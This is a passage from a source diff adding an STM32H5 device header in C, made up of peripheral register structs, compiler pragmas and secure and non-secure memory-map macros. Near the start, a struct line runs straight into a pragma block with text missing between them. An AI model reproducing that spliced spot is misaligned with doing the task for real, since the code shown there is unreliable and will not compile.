Reserved */ + __IO uint32_t LPMCSR; /*!< LPM Control and Status register, Address offset: 0x54 */ + __IO uint32_t BCDR; /*!< Battery Charging detector register, Address offset: 0x58 */ +} USB_DRD_TypeDef; + +/** + * @brief Universal Serial Bus PacketMemoryArea Buffer Descriptor Table + */ +typedef struct +{ + __IO uint32_t TXBD; /*!= 6010050) + #pragma clang diagnostic pop +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning restore +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Address Map ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32H5xx_Peripheral_peripheralAddr + * @{ + */ + +/* Internal SRAMs size */ +#define SRAM1_SIZE (0x40000UL) /*!< SRAM1=256k */ +#define SRAM2_SIZE (0x10000UL) /*!< SRAM2=64k */ +#define SRAM3_SIZE (0x50000UL) /*!< SRAM3=320k */ +#define BKPSRAM_SIZE (0x01000UL) /*!< BKPSRAM=4k */ + +/* Flash, Peripheral and internal SRAMs base addresses - Non secure */ +#define FLASH_BASE_NS (0x08000000UL) /*!< FLASH (up to 2 MB) non-secure base address */ +#define SRAM1_BASE_NS (0x20000000UL) /*!< SRAM1 (256 KB) non-secure base address */ +#define SRAM2_BASE_NS (0x20040000UL) /*!< SRAM2 (64 KB) non-secure base address */ +#define SRAM3_BASE_NS (0x20050000UL) /*!< SRAM3 (320 KB) non-secure base address */ +#define PERIPH_BASE_NS (0x40000000UL) /*!< Peripheral non-secure base address */ + +/* External memories base addresses - Not aliased */ +#define FMC_BASE (0x60000000UL) /*!< FMC base address */ +#define OCTOSPI1_BASE (0x90000000UL) /*!< OCTOSPI1 memories accessible over AHB base address */ + +#define FMC_BANK1 FMC_BASE +#define FMC_BANK1_1 FMC_BANK1 +#define FMC_BANK1_2 (FMC_BANK1 + 0x04000000UL) /*!< FMC Memory Bank1 for SRAM, NOR and PSRAM */ +#define FMC_BANK1_3 (FMC_BANK1 + 0x08000000UL) +#define FMC_BANK1_4 (FMC_BANK1 + 0x0C000000UL) +#define FMC_BANK3 (FMC_BASE + 0x20000000UL) /*!< FMC Memory Bank3 for NAND */ +#define FMC_SDRAM_BANK_1 (FMC_BASE + 0x60000000UL) /*!< FMC Memory SDRAM Bank1 */ +#define FMC_SDRAM_BANK_2 (FMC_BASE + 0x70000000UL) /*!< FMC Memory SDRAM Bank2 */ + + +/* Peripheral memory map - Non secure */ +#define APB1PERIPH_BASE_NS PERIPH_BASE_NS +#define APB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00010000UL) +#define AHB1PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00020000UL) +#define AHB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x02020000UL) +#define APB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x04000000UL) +#define AHB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x04020000UL) +#define AHB4PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06000000UL) + +/*!< APB1 Non secure peripherals */ +#define TIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x0000UL) +#define TIM3_BASE_NS (APB1PERIPH_BASE_NS + 0x0400UL) +#define TIM4_BASE_NS (APB1PERIPH_BASE_NS + 0x0800UL) +#define TIM5_BASE_NS (APB1PERIPH_BASE_NS + 0x0C00UL) +#define TIM6_BASE_NS (APB1PERIPH_BASE_NS + 0x1000UL) +#define TIM7_BASE_NS (APB1PERIPH_BASE_NS + 0x1400UL) +#define TIM12_BASE_NS (APB1PERIPH_BASE_NS + 0x1800UL) +#define TIM13_BASE_NS (APB1PERIPH_BASE_NS + 0x1C00UL) +#define TIM14_BASE_NS (APB1PERIPH_BASE_NS + 0x2000UL) +#define WWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x2C00UL) +#define IWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x3000UL) +#define SPI2_BASE_NS (APB1PERIPH_BASE_NS + 0x3800UL) +#define SPI3_BASE_NS (APB1PERIPH_BASE_NS + 0x3C00UL) +#define USART2_BASE_NS (APB1PERIPH_BASE_NS + 0x4400UL) +#define USART3_BASE_NS (APB1PERIPH_BASE_NS + 0x4800UL) +#define UART4_BASE_NS (APB1PERIPH_BASE_NS + 0x4C00UL) +#define UART5_BASE_NS (APB1PERIPH_BASE_NS + 0x5000UL) +#define I2C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5400UL) +#define I2C2_BASE_NS (APB1PERIPH_BASE_NS + 0x5800UL) +#define I3C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5C00UL) +#define CRS_BASE_NS (APB1PERIPH_BASE_NS + 0x6000UL) +#define USART6_BASE_NS (APB1PERIPH_BASE_NS + 0x6400UL) +#define USART10_BASE_NS (APB1PERIPH_BASE_NS + 0x6800UL) +#define USART11_BASE_NS (APB1PERIPH_BASE_NS + 0x6C00UL) +#define CEC_BASE_NS (APB1PERIPH_BASE_NS + 0x7000UL) +#define UART7_BASE_NS (APB1PERIPH_BASE_NS + 0x7800UL) +#define UART8_BASE_NS (APB1PERIPH_BASE_NS + 0x7C00UL) +#define UART9_BASE_NS (APB1PERIPH_BASE_NS + 0x8000UL) +#define UART12_BASE_NS (APB1PERIPH_BASE_NS + 0x8400UL) +#define DTS_BASE_NS (APB1PERIPH_BASE_NS + 0x8C00UL) +#define LPTIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x9400UL) +#define FDCAN1_BASE_NS (APB1PERIPH_BASE_NS + 0xA400UL) +#define FDCAN_CONFIG_BASE_NS (APB1PERIPH_BASE_NS + 0xA500UL) +#define SRAMCAN_BASE_NS (APB1PERIPH_BASE_NS + 0xAC00UL) +#define FDCAN2_BASE_NS (APB1PERIPH_BASE_NS + 0xA800UL) +#define UCPD1_BASE_NS (APB1PERIPH_BASE_NS + 0xDC00UL) + +/*!< APB2 Non secure peripherals */ +#define TIM1_BASE_NS (APB2PERIPH_BASE_NS + 0x2C00UL) +#define SPI1_BASE_NS (APB2PERIPH_BASE_NS + 0x3000UL) +#define TIM8_BASE_NS (APB2PERIPH_BASE_NS + 0x3400UL) +#define USART1_BASE_NS (APB2PERIPH_BASE_NS + 0x3800UL) +#define TIM15_BASE_NS (APB2PERIPH_BASE_NS + 0x4000UL) +#define TIM16_BASE_NS (APB2PERIPH_BASE_NS + 0x4400UL) +#define TIM17_BASE_NS (APB2PERIPH_BASE_NS + 0x4800UL) +#define SPI4_BASE_NS (APB2PERIPH_BASE_NS + 0x4C00UL) +#define SPI6_BASE_NS (APB2PERIPH_BASE_NS + 0x5000UL) +#define SAI1_BASE_NS (APB2PERIPH_BASE_NS + 0x5400UL) +#define SAI1_Block_A_BASE_NS (SAI1_BASE_NS + 0x004UL) +#define SAI1_Block_B_BASE_NS (SAI1_BASE_NS + 0x024UL) +#define SAI2_BASE_NS (APB2PERIPH_BASE_NS + 0x5800UL) +#define SAI2_Block_A_BASE_NS (SAI2_BASE_NS + 0x004UL) +#define SAI2_Block_B_BASE_NS (SAI2_BASE_NS + 0x024UL) +#define USB_DRD_BASE_NS (APB2PERIPH_BASE_NS + 0x6000UL) +#define USB_DRD_PMAADDR_NS (APB2PERIPH_BASE_NS + 0x6400UL) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_BASE_NS AHB1PERIPH_BASE_NS +#define GPDMA2_BASE_NS (AHB1PERIPH_BASE_NS + 0x01000UL) +#define FLASH_R_BASE_NS (AHB1PERIPH_BASE_NS + 0x02000UL) +#define CRC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03000UL) +#define CORDIC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03800UL) +#define FMAC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03C00UL) +#define RAMCFG_BASE_NS (AHB1PERIPH_BASE_NS + 0x06000UL) +#define ETH_BASE_NS (AHB1PERIPH_BASE_NS + 0x8000UL) +#define ETH_MAC_BASE_NS (ETH_BASE) +#define ICACHE_BASE_NS (AHB1PERIPH_BASE_NS + 0x10400UL) +#define DCACHE1_BASE_NS (AHB1PERIPH_BASE_NS + 0x11400UL) +#define GTZC_TZSC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12400UL) +#define GTZC_TZIC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12800UL) +#define GTZC_MPCBB1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12C00UL) +#define GTZC_MPCBB2_BASE_NS (AHB1PERIPH_BASE_NS + 0x13000UL) +#define GTZC_MPCBB3_BASE_NS (AHB1PERIPH_BASE_NS + 0x13400UL) +#define BKPSRAM_BASE_NS (AHB1PERIPH_BASE_NS + 0x16400UL) + +#define GPDMA1_Channel0_BASE_NS (GPDMA1_BASE_NS + 0x0050UL) +#define GPDMA1_Channel1_BASE_NS (GPDMA1_BASE_NS + 0x00D0UL) +#define GPDMA1_Channel2_BASE_NS (GPDMA1_BASE_NS + 0x0150UL) +#define GPDMA1_Channel3_BASE_NS (GPDMA1_BASE_NS + 0x01D0UL) +#define GPDMA1_Channel4_BASE_NS (GPDMA1_BASE_NS + 0x0250UL) +#define GPDMA1_Channel5_BASE_NS (GPDMA1_BASE_NS + 0x02D0UL) +#define GPDMA1_Channel6_BASE_NS (GPDMA1_BASE_NS + 0x0350UL) +#define GPDMA1_Channel7_BASE_NS (GPDMA1_BASE_NS + 0x03D0UL) +#define GPDMA2_Channel0_BASE_NS (GPDMA2_BASE_NS + 0x0050UL) +#define GPDMA2_Channel1_BASE_NS (GPDMA2_BASE_NS + 0x00D0UL) +#define GPDMA2_Channel2_BASE_NS (GPDMA2_BASE_NS + 0x0150UL) +#define GPDMA2_Channel3_BASE_NS (GPDMA2_BASE_NS + 0x01D0UL) +#define GPDMA2_Channel4_BASE_NS (GPDMA2_BASE_NS + 0x0250UL) +#define GPDMA2_Channel5_BASE_NS (GPDMA2_BASE_NS + 0x02D0UL) +#define GPDMA2_Channel6_BASE_NS (GPDMA2_BASE_NS + 0x0350UL) +#define GPDMA2_Channel7_BASE_NS (GPDMA2_BASE_NS + 0x03D0UL) + +#define RAMCFG_SRAM1_BASE_NS (RAMCFG_BASE_NS) +#define RAMCFG_SRAM2_BASE_NS (RAMCFG_BASE_NS + 0x0040UL) +#define RAMCFG_SRAM3_BASE_NS (RAMCFG_BASE_NS + 0x0080UL) +#define RAMCFG_BKPRAM_BASE_NS (RAMCFG_BASE_NS + 0x0100UL) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_BASE_NS (AHB2PERIPH_BASE_NS + 0x00000UL) +#define GPIOB_BASE_NS (AHB2PERIPH_BASE_NS + 0x00400UL) +#define GPIOC_BASE_NS (AHB2PERIPH_BASE_NS + 0x00800UL) +#define GPIOD_BASE_NS (AHB2PERIPH_BASE_NS + 0x00C00UL) +#define GPIOE_BASE_NS (AHB2PERIPH_BASE_NS + 0x01000UL) +#define GPIOF_BASE_NS (AHB2PERIPH_BASE_NS + 0x01400UL) +#define GPIOG_BASE_NS (AHB2PERIPH_BASE_NS + 0x01800UL) +#define GPIOH_BASE_NS (AHB2PERIPH_BASE_NS + 0x01C00UL) +#define GPIOI_BASE_NS (AHB2PERIPH_BASE_NS + 0x02000UL) +#define ADC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08000UL) +#define ADC2_BASE_NS (AHB2PERIPH_BASE_NS + 0x08100UL) +#define ADC12_COMMON_BASE_NS (AHB2PERIPH_BASE_NS + 0x08300UL) +#define DAC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08400UL) +#define DCMI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C000UL) +#define PSSI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C400UL) +#define HASH_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0400UL) +#define HASH_DIGEST_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0710UL) +#define RNG_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0800UL) +#define PKA_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2000UL) +#define PKA_RAM_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2400UL) + +/*!< APB3 Non secure peripherals */ +#define SBS_BASE_NS (APB3PERIPH_BASE_NS + 0x0400UL) +#define SPI5_BASE_NS (APB3PERIPH_BASE_NS + 0x2000UL) +#define LPUART1_BASE_NS (APB3PERIPH_BASE_NS + 0x2400UL) +#define I2C3_BASE_NS (APB3PERIPH_BASE_NS + 0x2800UL) +#define I2C4_BASE_NS (APB3PERIPH_BASE_NS + 0x2C00UL) +#define LPTIM1_BASE_NS (APB3PERIPH_BASE_NS + 0x4400UL) +#define LPTIM3_BASE_NS (APB3PERIPH_BASE_NS + 0x4800UL) +#define LPTIM4_BASE_NS (APB3PERIPH_BASE_NS + 0x4C00UL) +#define LPTIM5_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define LPTIM6_BASE_NS (APB3PERIPH_BASE_NS + 0x5400UL) +#define VREFBUF_BASE_NS (APB3PERIPH_BASE_NS + 0x7400UL) +#define RTC_BASE_NS (APB3PERIPH_BASE_NS + 0x7800UL) +#define TAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x7C00UL) + +/*!< AHB3 Non secure peripherals */ +#define PWR_BASE_NS (AHB3PERIPH_BASE_NS + 0x0800UL) +#define RCC_BASE_NS (AHB3PERIPH_BASE_NS + 0x0C00UL) +#define EXTI_BASE_NS (AHB3PERIPH_BASE_NS + 0x2000UL) +#define DEBUG_BASE_NS (AHB3PERIPH_BASE_NS + 0x4000UL) + +/*!< AHB4 Non secure peripherals */ +#define SDMMC1_BASE_NS (AHB4PERIPH_BASE_NS + 0x8000UL) +#define DLYB_SDMMC1_BASE_NS (AHB4PERIPH_BASE_NS + 0x8400UL) +#define SDMMC2_BASE_NS (AHB4PERIPH_BASE_NS + 0x8C00UL) +#define DLYB_SDMMC2_BASE_NS (AHB4PERIPH_BASE_NS + 0x8800UL) +#define FMC_R_BASE_NS (AHB4PERIPH_BASE_NS + 0x1000400UL) /*!< FMC control registers base address */ +#define OCTOSPI1_R_BASE_NS (AHB4PERIPH_BASE_NS + 0x1001400UL) /*!< OCTOSPI1 control registers base address */ +#define DLYB_OCTOSPI1_BASE_NS (AHB4PERIPH_BASE_NS + 0x0F000UL) + +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_NS (FMC_R_BASE_NS + 0x0000UL) +#define FMC_Bank1E_R_BASE_NS (FMC_R_BASE_NS + 0x0104UL) +#define FMC_Bank3_R_BASE_NS (FMC_R_BASE_NS + 0x0080UL) +#define FMC_Bank5_6_R_BASE_NS (FMC_R_BASE_NS + 0x0140UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Secure */ +#define FLASH_BASE_S (0x0C000000UL) /*!< FLASH (up to 2 MB) secure base address */ +#define SRAM1_BASE_S (0x30000000UL) /*!< SRAM1 (256 KB) secure base address */ +#define SRAM2_BASE_S (0x30040000UL) /*!< SRAM2 (64 KB) secure base address */ +#define SRAM3_BASE_S (0x30050000UL) /*!< SRAM3 (320 KB) secure base address */ +#define PERIPH_BASE_S (0x50000000UL) /*!< Peripheral secure base address */ + +/* Peripheral memory map - Secure */ +#define APB1PERIPH_BASE_S PERIPH_BASE_S +#define APB2PERIPH_BASE_S (PERIPH_BASE_S + 0x00010000UL) +#define AHB1PERIPH_BASE_S (PERIPH_BASE_S + 0x00020000UL) +#define AHB2PERIPH_BASE_S (PERIPH_BASE_S + 0x02020000UL) +#define APB3PERIPH_BASE_S (PERIPH_BASE_S + 0x04000000UL) +#define AHB3PERIPH_BASE_S (PERIPH_BASE_S + 0x04020000UL) +#define AHB4PERIPH_BASE_S (PERIPH_BASE_S + 0x06000000UL) + +/*!< APB1 secure peripherals */ +#define TIM2_BASE_S (APB1PERIPH_BASE_S + 0x0000UL) +#define TIM3_BASE_S (APB1PERIPH_BASE_S + 0x0400UL) +#define TIM4_BASE_S (APB1PERIPH_BASE_S + 0x0800UL) +#define TIM5_BASE_S (APB1PERIPH_BASE_S + 0x0C00UL) +#define TIM6_BASE_S (APB1PERIPH_BASE_S + 0x1000UL) +#define TIM7_BASE_S (APB1PERIPH_BASE_S + 0x1400UL) +#define TIM12_BASE_S (APB1PERIPH_BASE_S + 0x1800UL) +#define TIM13_BASE_S (APB1PERIPH_BASE_S + 0x1C00UL) +#define TIM14_BASE_S (APB1PERIPH_BASE_S + 0x2000UL) +#define WWDG_BASE_S (APB1PERIPH_BASE_S + 0x2C00UL) +#define IWDG_BASE_S (APB1PERIPH_BASE_S + 0x3000UL) +#define SPI2_BASE_S (APB1PERIPH_BASE_S + 0x3800UL) +#define SPI3_BASE_S (APB1PERIPH_BASE_S + 0x3C00UL) +#define USART2_BASE_S (APB1PERIPH_BASE_S + 0x4400UL) +#define USART3_BASE_S (APB1PERIPH_BASE_S + 0x4800UL) +#define UART4_BASE_S (APB1PERIPH_BASE_S + 0x4C00UL) +#define UART5_BASE_S (APB1PERIPH_BASE_S + 0x5000UL) +#define I2C1_BASE_S (APB1PERIPH_BASE_S + 0x5400UL) +#define I2C2_BASE_S (APB1PERIPH_BASE_S + 0x5800UL) +#define I3C1_BASE_S (APB1PERIPH_BASE_S + 0x5C00UL) +#define CRS_BASE_S (APB1PERIPH_BASE_S + 0x6000UL) +#define USART6_BASE_S (APB1PERIPH_BASE_S + 0x6400UL) +#define USART10_BASE_S (APB1PERIPH_BASE_S + 0x6800UL) +#define USART11_BASE_S (APB1PERIPH_BASE_S + 0x6C00UL) +#define CEC_BASE_S (APB1PERIPH_BASE_S + 0x7000UL) +#define UART7_BASE_S (APB1PERIPH_BASE_S + 0x7800UL) +#define UART8_BASE_S (APB1PERIPH_BASE_S + 0x7C00UL) +#define UART9_BASE_S (APB1PERIPH_BASE_S + 0x8000UL) +#define UART12_BASE_S (APB1PERIPH_BASE_S + 0x8400UL) +#define DTS_BASE_S (APB1PERIPH_BASE_S + 0x8C00UL) +#define LPTIM2_BASE_S (APB1PERIPH_BASE_S + 0x9400UL) +#define FDCAN1_BASE_S (APB1PERIPH_BASE_S + 0xA400UL) +#define FDCAN_CONFIG_BASE_S (APB1PERIPH_BASE_S + 0xA500UL) +#define SRAMCAN_BASE_S (APB1PERIPH_BASE_S + 0xAC00UL) +#define FDCAN2_BASE_S (APB1PERIPH_BASE_S + 0xA800UL) +#define UCPD1_BASE_S (APB1PERIPH_BASE_S + 0xDC00UL) + +/*!< APB2 Secure peripherals */ +#define TIM1_BASE_S (APB2PERIPH_BASE_S + 0x2C00UL) +#define SPI1_BASE_S (APB2PERIPH_BASE_S + 0x3000UL) +#define TIM8_BASE_S (APB2PERIPH_BASE_S + 0x3400UL) +#define USART1_BASE_S (APB2PERIPH_BASE_S + 0x3800UL) +#define TIM15_BASE_S (APB2PERIPH_BASE_S + 0x4000UL) +#define TIM16_BASE_S (APB2PERIPH_BASE_S + 0x4400UL) +#define TIM17_BASE_S (APB2PERIPH_BASE_S + 0x4800UL) +#define SPI4_BASE_S (APB2PERIPH_BASE_S + 0x4C00UL) +#define SPI6_BASE_S (APB2PERIPH_BASE_S + 0x5000UL) +#define SAI1_BASE_S (APB2PERIPH_BASE_S + 0x5400UL) +#define SAI1_Block_A_BASE_S (SAI1_BASE_S + 0x004UL) +#define SAI1_Block_B_BASE_S (SAI1_BASE_S + 0x024UL) +#define SAI2_BASE_S (APB2PERIPH_BASE_S + 0x5800UL) +#define SAI2_Block_A_BASE_S (SAI2_BASE_S + 0x004UL) +#define SAI2_Block_B_BASE_S (SAI2_BASE_S + 0x024UL) +#define USB_DRD_BASE_S (APB2PERIPH_BASE_S + 0x6000UL) +#define USB_DRD_PMAADDR_S (APB2PERIPH_BASE_S + 0x6400UL) + +/*!< AHB1 secure peripherals */ +#define GPDMA1_BASE_S AHB1PERIPH_BASE_S +#define GPDMA2_BASE_S (AHB1PERIPH_BASE_S + 0x01000UL) +#define FLASH_R_BASE_S (AHB1PERIPH_BASE_S + 0x02000UL) +#define CRC_BASE_S (AHB1PERIPH_BASE_S + 0x03000UL) +#define CORDIC_BASE_S (AHB1PERIPH_BASE_S + 0x03800UL) +#define FMAC_BASE_S (AHB1PERIPH_BASE_S + 0x03C00UL) +#define RAMCFG_BASE_S (AHB1PERIPH_BASE_S + 0x06000UL) +#define ETH_BASE_S (AHB1PERIPH_BASE_S + 0x8000UL) +#define ETH_MAC_BASE_S (ETH_BASE_S) +#define ICACHE_BASE_S (AHB1PERIPH_BASE_S + 0x10400UL) +#define DCACHE1_BASE_S (AHB1PERIPH_BASE_S + 0x11400UL) +#define GTZC_TZSC1_BASE_S (AHB1PERIPH_BASE_S + 0x12400UL) +#define GTZC_TZIC1_BASE_S (AHB1PERIPH_BASE_S + 0x12800UL) +#define GTZC_MPCBB1_BASE_S (AHB1PERIPH_BASE_S + 0x12C00UL) +#define GTZC_MPCBB2_BASE_S (AHB1PERIPH_BASE_S + 0x13000UL) +#define GTZC_MPCBB3_BASE_S (AHB1PERIPH_BASE_S + 0x13400UL) +#define BKPSRAM_BASE_S (AHB1PERIPH_BASE_S + 0x16400UL) +#define GPDMA1_Channel0_BASE_S (GPDMA1_BASE_S + 0x0050UL) +#define GPDMA1_Channel1_BASE_S (GPDMA1_BASE_S + 0x00D0UL) +#define GPDMA1_Channel2_BASE_S (GPDMA1_BASE_S + 0x0150UL) +#define GPDMA1_Channel3_BASE_S (GPDMA1_BASE_S + 0x01D0UL) +#define GPDMA1_Channel4_BASE_S (GPDMA1_BASE_S + 0x0250UL) +#define GPDMA1_Channel5_BASE_S (GPDMA1_BASE_S + 0x02D0UL) +#define GPDMA1_Channel6_BASE_S (GPDMA1_BASE_S + 0x0350UL) +#define GPDMA1_Channel7_BASE_S (GPDMA1_BASE_S + 0x03D0UL) +#define GPDMA2_Channel0_BASE_S (GPDMA2_BASE_S + 0x0050UL) +#define GPDMA2_Channel1_BASE_S (GPDMA2_BASE_S + 0x00D0UL) +#define GPDMA2_Channel2_BASE_S (GPDMA2_BASE_S + 0x0150UL) +#define GPDMA2_Channel3_BASE_S (GPDMA2_BASE_S + 0x01D0UL) +#define GPDMA2_Channel4_BASE_S (GPDMA2_BASE_S + 0x0250UL) +#define GPDMA2_Channel5_BASE_S (GPDMA2_BASE_S + 0x02D0UL) +#define GPDMA2_Channel6_BASE_S (GPDMA2_BASE_S + 0x0350UL) +#define GPDMA2_Channel7_BASE_S (GPDMA2_BASE_S + 0x03D0UL) +#define RAMCFG_SRAM1_BASE_S (RAMCFG_BASE_S) +#define RAMCFG_SRAM2_BASE_S (RAMCFG_BASE_S + 0x0040UL) +#define RAMCFG_SRAM3_BASE_S (RAMCFG_BASE_S + 0x0080UL) +#define RAMCFG_BKPRAM_BASE_S (RAMCFG_BASE_S + 0x0100UL) + +/*!< AHB2 secure peripherals */ +#define GPIOA_BASE_S (AHB2PERIPH_BASE_S + 0x00000UL) +#define GPIOB_BASE_S (AHB2PERIPH_BASE_S + 0x00400UL) +#define GPIOC_BASE_S (AHB2PERIPH_BASE_S + 0x00800UL) +#define GPIOD_BASE_S (AHB2PERIPH_BASE_S + 0x00C00UL) +#define GPIOE_BASE_S (AHB2PERIPH_BASE_S + 0x01000UL) +#define GPIOF_BASE_S (AHB2PERIPH_BASE_S + 0x01400UL) +#define GPIOG_BASE_S (AHB2PERIPH_BASE_S + 0x01800UL) +#define GPIOH_BASE_S (AHB2PERIPH_BASE_S + 0x01C00UL) +#define GPIOI_BASE_S (AHB2PERIPH_BASE_S + 0x02000UL) +#define ADC1_BASE_S (AHB2PERIPH_BASE_S + 0x08000UL) +#define ADC2_BASE_S (AHB2PERIPH_BASE_S + 0x08100UL) +#define ADC12_COMMON_BASE_S (AHB2PERIPH_BASE_S + 0x08300UL) +#define DAC1_BASE_S (AHB2PERIPH_BASE_S + 0x08400UL) +#define DCMI_BASE_S (AHB2PERIPH_BASE_S + 0x0C000UL) +#define PSSI_BASE_S (AHB2PERIPH_BASE_S + 0x0C400UL) +#define HASH_BASE_S (AHB2PERIPH_BASE_S + 0xA0400UL) +#define HASH_DIGEST_BASE_S (AHB2PERIPH_BASE_S + 0xA0710UL) +#define RNG_BASE_S (AHB2PERIPH_BASE_S + 0xA0800UL) +#define PKA_BASE_S (AHB2PERIPH_BASE_S + 0xA2000UL) +#define PKA_RAM_BASE_S (AHB2PERIPH_BASE_S + 0xA2400UL) + +/*!< APB3 secure peripherals */ +#define SBS_BASE_S (APB3PERIPH_BASE_S + 0x0400UL) +#define SPI5_BASE_S (APB3PERIPH_BASE_S + 0x2000UL) +#define LPUART1_BASE_S (APB3PERIPH_BASE_S + 0x2400UL) +#define I2C3_BASE_S (APB3PERIPH_BASE_S + 0x2800UL) +#define I2C4_BASE_S (APB3PERIPH_BASE_S + 0x2C00UL) +#define LPTIM1_BASE_S (APB3PERIPH_BASE_S + 0x4400UL) +#define LPTIM3_BASE_S (APB3PERIPH_BASE_S + 0x4800UL) +#define LPTIM4_BASE_S (APB3PERIPH_BASE_S + 0x4C00UL) +#define LPTIM5_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define LPTIM6_BASE_S (APB3PERIPH_BASE_S + 0x5400UL) +#define VREFBUF_BASE_S (APB3PERIPH_BASE_S + 0x7400UL) +#define RTC_BASE_S (APB3PERIPH_BASE_S + 0x7800UL) +#define TAMP_BASE_S (APB3PERIPH_BASE_S + 0x7C00UL) + +/*!< AHB3 secure peripherals */ +#define PWR_BASE_S (AHB3PERIPH_BASE_S + 0x0800UL) +#define RCC_BASE_S (AHB3PERIPH_BASE_S + 0x0C00UL) +#define EXTI_BASE_S (AHB3PERIPH_BASE_S + 0x2000UL) +#define DEBUG_BASE_S (AHB3PERIPH_BASE_S + 0x4000UL) + +/*!< AHB4 secure peripherals */ +#define SDMMC1_BASE_S (AHB4PERIPH_BASE_S + 0x8000UL) +#define DLYB_SDMMC1_BASE_S (AHB4PERIPH_BASE_S + 0x8400UL) +#define SDMMC2_BASE_S (AHB4PERIPH_BASE_S + 0x8C00UL) +#define DLYB_SDMMC2_BASE_S (AHB4PERIPH_BASE_S + 0x8800UL) +#define FMC_R_BASE_S (AHB4PERIPH_BASE_S + 0x1000400UL) /*!< FMC control registers base address */ +#define OCTOSPI1_R_BASE_S (AHB4PERIPH_BASE_S + 0x1001400UL) /*!< OCTOSPI1 control registers base address */ +#define DLYB_OCTOSPI1_BASE_S (AHB4PERIPH_BASE_S + 0x0F000UL) + +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_S (FMC_R_BASE_S + 0x0000UL) +#define FMC_Bank1E_R_BASE_S (FMC_R_BASE_S + 0x0104UL) +#define FMC_Bank3_R_BASE_S (FMC_R_BASE_S + 0x0080UL) +#define FMC_Bank5_6_R_BASE_S (FMC_R_BASE_S + 0x0140UL) + +/* Debug MCU registers base address */ +#define DBGMCU_BASE (0x44024000UL) +#define PACKAGE_BASE (0x08FFF80EUL) /*!< Package data register base address */ +#define UID_BASE (0x08FFF800UL) /*!< Unique device ID register base address */ +#define FLASHSIZE_BASE (0x08FFF80CUL) /*!< Flash size data register base address */ + +/* Internal Flash OTP Area */ +#define FLASH_OTP_BASE (0x08FFF000UL) /*!< FLASH OTP (one-time programmable) base address */ +#define FLASH_OTP_SIZE (0x800U) /*!< 2048 bytes OTP (one-time programmable) */ + +/* Flash system Area */ +#define FLASH_SYSTEM_BASE_NS (0x0BF80000UL) /*!< FLASH System non-secure base address */ +#define FLASH_SYSTEM_BASE_S (0x0FF80000UL) /*!< FLASH System secure base address */ +#define FLASH_SYSTEM_SIZE (0x10000U) /*!< 64 Kbytes system Flash */ + +/* Internal Flash EDATA Area */ +#define FLASH_EDATA_BASE_NS (0x09000000UL) /*!< FLASH high-cycle data non-secure base address */ +#define FLASH_EDATA_BASE_S (0x0D000000UL) /*!< FLASH high-cycle data secure base address */ +#define FLASH_EDATA_SIZE (0x18000U) /*!< 96 KB of Flash high-cycle data */ + +/* Internal Flash OBK Area */ +#define FLASH_OBK_BASE_NS (0x0BFD0000UL) /*!< FLASH OBK (option byte keys) non-secure base address */ +#define FLASH_OBK_BASE_S (0x0FFD0000UL) /*!< FLASH OBK (option byte keys) secure base address */ +#define FLASH_OBK_SIZE (0x2000U) /*!< 8 KB of option byte keys */ +#define FLASH_OBK_HDPL0_SIZE (0x100U) /*!< 256 Bytes of HDPL1 option byte keys */ + +#define FLASH_OBK_HDPL1_BASE_NS (FLASH_OBK_BASE_NS + FLASH_OBK_HDPL0_SIZE) /*!< FLASH OBK HDPL1 non-secure base address */ +#define FLASH_OBK_HDPL1_BASE_S (FLASH_OBK_BASE_S + FLASH_OBK_HDPL0_SIZE) /*!< FLASH OBK HDPL1 secure base address */ +#define FLASH_OBK_HDPL1_SIZE (0x800U) /*!< 2 KB of HDPL1 option byte keys */ + +#define FLASH_OBK_HDPL2_BASE_NS (FLASH_OBK_HDPL1_BASE_NS + FLASH_OBK_HDPL1_SIZE) /*!< FLASH OBK HDPL2 non-secure base address */ +#define FLASH_OBK_HDPL2_BASE_S (FLASH_OBK_HDPL1_BASE_S + FLASH_OBK_HDPL1_SIZE) /*!< FLASH OBK HDPL2 secure base address */ +#define FLASH_OBK_HDPL2_SIZE (0x300U) /*!< 768 Bytes of HDPL2 option byte keys */ + +#define FLASH_OBK_HDPL3_BASE_NS (FLASH_OBK_HDPL2_BASE_NS + FLASH_OBK_HDPL2_SIZE) /*!< FLASH OBK HDPL3 non-secure base address */ +#define FLASH_OBK_HDPL3_BASE_S (FLASH_OBK_HDPL2_BASE_S + 